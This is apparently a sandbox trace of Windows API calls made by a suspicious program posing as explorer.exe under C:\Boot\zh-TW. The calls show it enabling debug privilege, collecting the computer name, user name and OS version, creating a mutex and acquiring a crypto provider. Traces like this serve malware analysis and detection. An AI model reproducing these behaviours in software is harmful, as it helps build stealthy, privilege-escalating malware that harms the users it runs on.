[0298.805] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0298.805] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0298.805] IUnknown:Release (This=0x1b349060) returned 0x2 [0298.805] IUnknown:Release (This=0x1b349060) returned 0x1 [0298.827] IUnknown:Release (This=0x1b349060) returned 0x0 [0298.828] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0298.828] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0298.828] IUnknown:Release (This=0x1d35b910) returned 0x0 [0299.200] IcmpCloseHandle (IcmpHandle=0x1e720080) returned 1 [0300.558] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0300.558] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0300.558] IUnknown:Release (This=0x1b349b20) returned 0x2 [0300.558] IUnknown:Release (This=0x1b349b20) returned 0x1 [0300.558] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0300.558] WbemLocator:IUnknown:Release (This=0x1d496dc0) returned 0x1 [0300.558] WbemLocator:IUnknown:Release (This=0x1d496dc0) returned 0x0 [0300.559] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0300.559] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0300.559] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0300.559] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x0 [0300.576] IUnknown:Release (This=0x1b349b20) returned 0x0 [0300.576] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0300.576] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0300.576] IUnknown:Release (This=0x1d35ae90) returned 0x0 Thread: id = 221 os_tid = 0x1390 Thread: id = 222 os_tid = 0x1260 Thread: id = 223 os_tid = 0x1374 Thread: id = 224 os_tid = 0x13cc [0140.624] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0140.625] CoGetContextToken (in: pToken=0x1b0bf820 | out: pToken=0x1b0bf820) returned 0x0 [0140.625] CObjectContext::QueryInterface () returned 0x0 [0140.625] CObjectContext::GetCurrentThreadType () returned 0x0 [0140.625] Release () returned 0x0 [0140.625] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0140.625] CoUninitialize () [0140.625] RoInitialize () returned 0x1 [0140.626] RoUninitialize () returned 0x0 [0141.057] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bbd38 | out: phkResult=0x1b0bbd38*=0x0) returned 0x2 [0141.061] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1b0be770, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\explorer.exe", lpFilePart=0x0) returned 0x1a [0142.667] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x300 [0142.669] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x304 [0142.677] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bc638 | out: phkResult=0x1b0bc638*=0x308) returned 0x0 [0142.678] RegQueryValueExW (in: hKey=0x308, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b0bc688, lpData=0x0, lpcbData=0x1b0bc680*=0x0 | out: lpType=0x1b0bc688*=0x1, lpData=0x0, lpcbData=0x1b0bc680*=0xe) returned 0x0 [0142.678] RegQueryValueExW (in: hKey=0x308, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b0bc688, lpData=0x2475630, lpcbData=0x1b0bc680*=0xe | out: lpType=0x1b0bc688*=0x1, lpData="Client", lpcbData=0x1b0bc680*=0xe) returned 0x0 [0142.679] RegCloseKey (hKey=0x308) returned 0x0 [0142.821] GetCurrentProcess () returned 0xffffffffffffffff [0142.822] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bbf88 | out: TokenHandle=0x1b0bbf88*=0x308) returned 1 [0142.826] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1b0bb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0142.827] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b0bc030 | out: lpFileInformation=0x1b0bc030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0142.828] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b0bb9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0142.829] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b0bc028 | out: lpFileInformation=0x1b0bc028*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0142.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b0bb9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0142.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbea0) returned 1 [0142.832] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x30c [0142.833] GetFileType (hFile=0x30c) returned 0x1 [0142.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbe10) returned 1 [0142.833] GetFileType (hFile=0x30c) returned 0x1 [0142.843] GetFileSize (in: hFile=0x30c, lpFileSizeHigh=0x1b0bbf78 | out: lpFileSizeHigh=0x1b0bbf78*=0x0) returned 0x8c8f [0142.843] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bbee8, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bbee8*=0x1000, lpOverlapped=0x0) returned 1 [0142.850] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bbcc8, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bbcc8*=0x1000, lpOverlapped=0x0) returned 1 [0142.851] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bbab8, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bbab8*=0x1000, lpOverlapped=0x0) returned 1 [0142.852] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bbab8, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bbab8*=0x1000, lpOverlapped=0x0) returned 1 [0142.852] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bbab8, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bbab8*=0x1000, lpOverlapped=0x0) returned 1 [0142.853] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bb978, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bb978*=0x1000, lpOverlapped=0x0) returned 1 [0142.857] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bbbb8, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bbbb8*=0x1000, lpOverlapped=0x0) returned 1 [0142.858] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bba68, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bba68*=0x1000, lpOverlapped=0x0) returned 1 [0142.858] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bba68, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bba68*=0xc8f, lpOverlapped=0x0) returned 1 [0142.858] ReadFile (in: hFile=0x30c, lpBuffer=0x2479e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b0bbb88, lpOverlapped=0x0 | out: lpBuffer=0x2479e58*, lpNumberOfBytesRead=0x1b0bbb88*=0x0, lpOverlapped=0x0) returned 1 [0142.858] CloseHandle (hObject=0x30c) returned 1 [0142.860] GetCurrentProcess () returned 0xffffffffffffffff [0142.860] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bc1b8 | out: TokenHandle=0x1b0bc1b8*=0x30c) returned 1 [0142.860] GetCurrentProcess () returned 0xffffffffffffffff [0142.860] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bc1b8 | out: TokenHandle=0x1b0bc1b8*=0x310) returned 1 [0142.862] GetCurrentProcess () returned 0xffffffffffffffff [0142.862] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bbf88 | out: TokenHandle=0x1b0bbf88*=0x314) returned 1 [0142.862] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe.config" (normalized: "c:\\boot\\zh-tw\\explorer.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b0bc030 | out: lpFileInformation=0x1b0bc030*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0142.862] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe.config", nBufferLength=0x105, lpBuffer=0x1b0bb9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\explorer.exe.config", lpFilePart=0x0) returned 0x21 [0142.863] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe.config" (normalized: "c:\\boot\\zh-tw\\explorer.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b0bc028 | out: lpFileInformation=0x1b0bc028*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0142.864] GetCurrentProcess () returned 0xffffffffffffffff [0142.864] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bc1b8 | out: TokenHandle=0x1b0bc1b8*=0x318) returned 1 [0142.864] GetCurrentProcess () returned 0xffffffffffffffff [0142.864] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bc1b8 | out: TokenHandle=0x1b0bc1b8*=0x31c) returned 1 [0142.876] GetCurrentProcess () returned 0xffffffffffffffff [0142.877] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bbf18 | out: TokenHandle=0x1b0bbf18*=0x320) returned 1 [0142.893] GetCurrentProcess () returned 0xffffffffffffffff [0142.893] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bbf28 | out: TokenHandle=0x1b0bbf28*=0x324) returned 1 [0142.909] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0be3f8 | out: phkResult=0x1b0be3f8*=0x328) returned 0x0 [0142.911] RegQueryValueExW (in: hKey=0x328, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b0be438, lpData=0x0, lpcbData=0x1b0be430*=0x0 | out: lpType=0x1b0be438*=0x4, lpData=0x0, lpcbData=0x1b0be430*=0x4) returned 0x0 [0142.911] RegQueryValueExW (in: hKey=0x328, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b0be438, lpData=0x1b0be418, lpcbData=0x1b0be430*=0x4 | out: lpType=0x1b0be438*=0x4, lpData=0x1b0be418*=0x1, lpcbData=0x1b0be430*=0x4) returned 0x0 [0142.913] RegQueryValueExW (in: hKey=0x328, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b0be4a8, lpData=0x0, lpcbData=0x1b0be4a0*=0x0 | out: lpType=0x1b0be4a8*=0x4, lpData=0x0, lpcbData=0x1b0be4a0*=0x4) returned 0x0 [0142.914] RegCloseKey (hKey=0x328) returned 0x0 [0142.917] GetCurrentProcessId () returned 0x10c0 [0142.921] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1b0bd450 | out: lpLuid=0x1b0bd450*(LowPart=0x14, HighPart=0)) returned 1 [0142.924] GetCurrentProcess () returned 0xffffffffffffffff [0142.924] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1b0bd448 | out: TokenHandle=0x1b0bd448*=0x330) returned 1 [0142.925] AdjustTokenPrivileges (in: TokenHandle=0x330, DisableAllPrivileges=0, NewState=0x24a1250*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0142.925] CloseHandle (hObject=0x330) returned 1 [0142.927] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c0) returned 0x330 [0142.933] EnumProcessModules (in: hProcess=0x330, lphModule=0x24a12b8, cb=0x200, lpcbNeeded=0x1b0be400 | out: lphModule=0x24a12b8, lpcbNeeded=0x1b0be400) returned 1 [0142.935] GetModuleInformation (in: hProcess=0x330, hModule=0x6b0000, lpmodinfo=0x24a1528, cb=0x18 | out: lpmodinfo=0x24a1528*(lpBaseOfDll=0x6b0000, SizeOfImage=0x1fa000, EntryPoint=0x0)) returned 1 [0142.937] CoTaskMemAlloc (cb=0x804) returned 0x503ca0 [0142.937] GetModuleBaseNameW (in: hProcess=0x330, hModule=0x6b0000, lpBaseName=0x503ca0, nSize=0x800 | out: lpBaseName="explorer.exe") returned 0xc [0142.938] CoTaskMemFree (pv=0x503ca0) [0142.939] CoTaskMemAlloc (cb=0x804) returned 0x503ca0 [0142.939] GetModuleFileNameExW (in: hProcess=0x330, hModule=0x6b0000, lpFilename=0x503ca0, nSize=0x800 | out: lpFilename="C:\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe")) returned 0x1a [0142.939] CoTaskMemFree (pv=0x503ca0) [0142.939] CloseHandle (hObject=0x330) returned 1 [0142.940] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1b0bdf40, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\explorer.exe", lpFilePart=0x0) returned 0x1a [0142.941] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SecurityProtocol", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0be3f8 | out: phkResult=0x1b0be3f8*=0x0) returned 0x2 [0142.959] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c0) returned 0x330 [0142.959] EnumProcessModules (in: hProcess=0x330, lphModule=0x24a7a00, cb=0x200, lpcbNeeded=0x1b0be410 | out: lphModule=0x24a7a00, lpcbNeeded=0x1b0be410) returned 1 [0142.960] GetModuleInformation (in: hProcess=0x330, hModule=0x6b0000, lpmodinfo=0x24a7c70, cb=0x18 | out: lpmodinfo=0x24a7c70*(lpBaseOfDll=0x6b0000, SizeOfImage=0x1fa000, EntryPoint=0x0)) returned 1 [0142.961] CoTaskMemAlloc (cb=0x804) returned 0x503ca0 [0142.961] GetModuleBaseNameW (in: hProcess=0x330, hModule=0x6b0000, lpBaseName=0x503ca0, nSize=0x800 | out: lpBaseName="explorer.exe") returned 0xc [0142.961] CoTaskMemFree (pv=0x503ca0) [0142.961] CoTaskMemAlloc (cb=0x804) returned 0x503ca0 [0142.961] GetModuleFileNameExW (in: hProcess=0x330, hModule=0x6b0000, lpFilename=0x503ca0, nSize=0x800 | out: lpFilename="C:\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe")) returned 0x1a [0142.961] CoTaskMemFree (pv=0x503ca0) [0142.961] CloseHandle (hObject=0x330) returned 1 [0142.961] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1b0bdf50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\explorer.exe", lpFilePart=0x0) returned 0x1a [0142.962] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0be408 | out: phkResult=0x1b0be408*=0x0) returned 0x2 [0142.962] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0be408 | out: phkResult=0x1b0be408*=0x330) returned 0x0 [0142.962] RegQueryValueExW (in: hKey=0x330, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x1b0be448, lpData=0x0, lpcbData=0x1b0be440*=0x0 | out: lpType=0x1b0be448*=0x0, lpData=0x0, lpcbData=0x1b0be440*=0x0) returned 0x2 [0142.962] RegCloseKey (hKey=0x330) returned 0x0 [0143.034] CoTaskMemAlloc (cb=0x20c) returned 0x4f6e20 [0143.034] GetSystemDirectoryW (in: lpBuffer=0x4f6e20, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0143.034] CoTaskMemFree (pv=0x4f6e20) [0143.038] GetComputerNameW (in: lpBuffer=0x1b0bcc70, nSize=0x1b0bcf98 | out: lpBuffer="XC64ZB", nSize=0x1b0bcf98) returned 1 [0143.071] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b0bb998 | out: phkResult=0x1b0bb998*=0x330) returned 0x0 [0143.073] RegQueryValueExW (in: hKey=0x330, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b0bb9e8, lpData=0x0, lpcbData=0x1b0bb9e0*=0x0 | out: lpType=0x1b0bb9e8*=0x1, lpData=0x0, lpcbData=0x1b0bb9e0*=0x1e) returned 0x0 [0143.073] RegQueryValueExW (in: hKey=0x330, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b0bb9e8, lpData=0x24ab598, lpcbData=0x1b0bb9e0*=0x1e | out: lpType=0x1b0bb9e8*=0x1, lpData="Windows 10 Pro", lpcbData=0x1b0bb9e0*=0x1e) returned 0x0 [0143.077] RegCloseKey (hKey=0x330) returned 0x0 [0143.122] CoTaskMemAlloc (cb=0x20c) returned 0x4f7260 [0143.122] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4f7260 | out: pszPath="C:\\Users\\RDhJ0CNFevzX") returned 0x0 [0143.129] CoTaskMemFree (pv=0x4f7260) [0143.129] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX", nBufferLength=0x105, lpBuffer=0x1b0bc920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX", lpFilePart=0x0) returned 0x15 [0143.130] CoTaskMemAlloc (cb=0x20c) returned 0x4f6380 [0143.130] GetSystemDirectoryW (in: lpBuffer=0x4f6380, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0143.130] CoTaskMemFree (pv=0x4f6380) [0143.131] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1b0bc970, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0143.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bcfb0) returned 1 [0143.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bcf60) returned 1 [0143.165] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1b0bced0 | out: pfEnabled=0x1b0bced0) returned 0x0 [0143.321] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b0bccc8 | out: phkResult=0x1b0bccc8*=0x2d0) returned 0x0 [0143.322] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x0, lpcbData=0x1b0bcd10*=0x0 | out: lpType=0x1b0bcd18*=0x4, lpData=0x0, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.322] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x1b0bccf8, lpcbData=0x1b0bcd10*=0x4 | out: lpType=0x1b0bcd18*=0x4, lpData=0x1b0bccf8*=0x60636, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.323] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x0, lpcbData=0x1b0bcd10*=0x0 | out: lpType=0x1b0bcd18*=0x4, lpData=0x0, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.323] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x1b0bccf8, lpcbData=0x1b0bcd10*=0x4 | out: lpType=0x1b0bcd18*=0x4, lpData=0x1b0bccf8*=0x60636, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.323] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x0, lpcbData=0x1b0bcd10*=0x0 | out: lpType=0x1b0bcd18*=0x4, lpData=0x0, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.323] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x1b0bccf8, lpcbData=0x1b0bcd10*=0x4 | out: lpType=0x1b0bcd18*=0x4, lpData=0x1b0bccf8*=0x60636, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.324] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x0, lpcbData=0x1b0bcd10*=0x0 | out: lpType=0x1b0bcd18*=0x4, lpData=0x0, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.324] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x1b0bccf8, lpcbData=0x1b0bcd10*=0x4 | out: lpType=0x1b0bcd18*=0x4, lpData=0x1b0bccf8*=0x60636, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.324] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x0, lpcbData=0x1b0bcd10*=0x0 | out: lpType=0x1b0bcd18*=0x4, lpData=0x0, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.324] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x1b0bccf8, lpcbData=0x1b0bcd10*=0x4 | out: lpType=0x1b0bcd18*=0x4, lpData=0x1b0bccf8*=0x60636, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.324] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x0, lpcbData=0x1b0bcd10*=0x0 | out: lpType=0x1b0bcd18*=0x4, lpData=0x0, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.325] RegQueryValueExW (in: hKey=0x2d0, lpValueName="Release", lpReserved=0x0, lpType=0x1b0bcd18, lpData=0x1b0bccf8, lpcbData=0x1b0bcd10*=0x4 | out: lpType=0x1b0bcd18*=0x4, lpData=0x1b0bccf8*=0x60636, lpcbData=0x1b0bcd10*=0x4) returned 0x0 [0143.326] RegCloseKey (hKey=0x2d0) returned 0x0 [0143.335] GetComputerNameW (in: lpBuffer=0x1b0be180, nSize=0x1b0be4a8 | out: lpBuffer="XC64ZB", nSize=0x1b0be4a8) returned 1 [0143.338] GetUserNameW (in: lpBuffer=0x1b0be1a0, pcbBuffer=0x1b0be4c8 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1b0be4c8) returned 1 [0143.756] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="51b7c2937dcd51371bf473f140592a8b88356288") returned 0x0 [0143.769] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Local\\51b7c2937dcd51371bf473f140592a8b88356288") returned 0x318 [0147.059] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a00, lpName=0x0) returned 0x308 [0147.059] memcpy (in: _Dst=0x640000, _Src=0x25db218, _Size=0x7a00 | out: _Dst=0x640000) returned 0x640000 [0147.387] CryptAcquireContextW (in: phProv=0x1b0bbb38, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bbb38*=0x4f05a0) returned 1 [0147.399] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x1 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.400] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.400] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x1 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.400] CoTaskMemFree (pv=0x1b2c0e80) [0147.400] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, 